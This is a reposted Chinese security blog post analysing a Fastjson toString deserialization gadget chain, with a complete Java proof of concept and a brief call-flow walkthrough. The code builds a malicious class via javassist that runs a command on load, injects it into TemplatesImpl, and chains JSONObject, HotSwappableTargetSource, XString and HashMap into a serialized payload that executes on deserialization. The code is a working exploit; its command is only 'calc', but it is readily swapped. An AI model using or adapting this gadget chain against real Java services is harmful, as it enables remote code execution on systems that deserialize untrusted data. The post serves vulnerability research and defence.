首页 > 其他分享 >Fastjson的toString链分析

Fastjson的toString链分析

时间:2024-04-23 19:23:43浏览次数:20  
标签:Fastjson String 链分析 HotSwappableTargetSource h2 toString import new XString

前言

之前分析过Fastjson的getter链,忽略了toString链,现在补上,最终也是任意调用getter

攻击测试

package org.example;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.springframework.aop.target.HotSwappableTargetSource;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class ToString {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();
        ClassPool pool = new ClassPool();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] codes = cc.toBytecode();

        setValue(templatesimpl,"_name","aaa");
        setValue(templatesimpl,"_bytecodes",new byte[][] {codes});
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

        JSONObject jo = new JSONObject();
        jo.put("1",templatesimpl);

        HotSwappableTargetSource h1 = new HotSwappableTargetSource(jo);
//        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));
        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new Object());

        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(h1,h1);
        hashMap.put(h2,h2);

        Class clazz=h2.getClass();
        Field transformerdeclaredField = clazz.getDeclaredField("target");
        transformerdeclaredField.setAccessible(true);
        transformerdeclaredField.set(h2,new XString("xxx"));
        String base64 = serial(hashMap);
        System.out.println(base64);
        deserial(Base64.getDecoder().decode(base64));
    }

    public static String serial(Object o) throws IOException, IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }
    public static void deserial(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
    }
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

流程分析

首先还是经典的HashMap->readObject

跟进putVal方法,这里调用equals方法,key是HotSwappableTargetSource,这是个跳板类,之前讲Rome反序列化的时候提到过这个类,可以触发XString的equals方法,然后XString触发toString方法

继续跟进

继续跟进,来到XString的equals方法,obj2是JSONObject

跟进toString方法

继续跟进

往下走就是任意getter调用了,感兴趣的师傅可以往下走走,最终是跟paserObject一样的处理方式

标签:Fastjson,String,链分析,HotSwappableTargetSource,h2,toString,import,new,XString
From: https://www.cnblogs.com/F12-blog/p/18153609

相关文章

  • fastjson导致的程序崩溃:A fatal error has been detected by the Java Runtime Enviro
    ##AfatalerrorhasbeendetectedbytheJavaRuntimeEnvironment:##EXCEPTION_ACCESS_VIOLATION(0xc0000005)atpc=0x000001da4d3ab6b3,pid=15996,tid=0x0000000000006478##JREversion:Java(TM)SERuntimeEnvironment(8.0_361)(build1.8.0_361-b09)......
  • fastjson 1.2.24 反序列化导致任意命令执行漏洞复现
    前置知识今天复现了常见的fastjson反序列化漏洞,了解该漏洞需要一些前置的知识,这里总结一下:Fastjsonfastjson是一个Java的库,可以将Java对象转换为Json字符串,也可以将Json字符串转换为Java对象,Fastjson也可以操作一些Java中的对象。JNDIJNDI(JavaNamingandDirectoryInterf......
  • C3P0反序列化链分析
    前言C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。使用它的开源项目有Hibernate、Spring等。之前有接触到过,但是没有深入了解,像之前学二次反序列化时,WrapperConnectionPoolDataSource就是C3P0的环境搭建<dependency><groupId>com.......
  • Kryo反序列化链分析
    前言Kryo是一个快速序列化/反序列化工具,依赖于字节码生成机制(底层使用了ASM库),因此在序列化速度上有一定的优势,但正因如此,其使用也只能限制在基于JVM的语言上。Kryo序列化出的结果,是其自定义的,独有的一种格式。由于其序列化出的结果是二进制的,也即byte[],因此像redis这样可以存......
  • Python+FastJson漏洞批量检测实战
    #-*-coding:utf-8-*-importosimportsubprocess#指定要读取文件的目录directory='D:/gongju02/anq/FastJson/JsonExp-1.4.0'defjson_exp(text_path):"""指定要检测的接口文件目录"""try:#改变当前工作目录os.chdir(di......
  • FastJson反序列化漏洞利用和扫描探测工具-实战
    一、简介fastjson漏洞批量检测工具,根据现有payload,检测目标是否存在fastjson或jackson漏洞(工具仅用于检测漏洞),若存在漏洞,可根据对应payload进行后渗透利用,若出现新的漏洞时,可将最新的payload新增至txt中(需修改格式),工具完全替代手工检测,作为辅助工具使用。二、LDAP检测环境搭建......
  • cc1链分析
    cc1对jdk有要求:jdk1.8以前(8u71之后已修复不可利用)JavaArchiveDownloads-JavaSE8(oracle.com)maven依赖<dependencies><!--https://mvnrepository.com/artifact/commons-collections/commons-collections--><dependency><groupId>commons-collections......
  • Rome反序列化链分析
    环境搭建<dependencies><dependency><groupId>junit</groupId><artifactId>junit</artifactId><version>4.11</version><scope>test</scope></dependency><de......
  • Java -fastjson api
    构造json对象需求:构造以下请求体{"attrSelectionVO":[{"attrAccessId":"eea99a0894504a2b89f3cfeb4be051d3","attrValueList":[{"attrValue":"输送型","att......
  • Fastjson反序列化分析
    依赖先研究1.2.24版本的,版本高了就有waf了,不过也能绕,高版本以后再说<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version></dependency><dependency><groupId&g......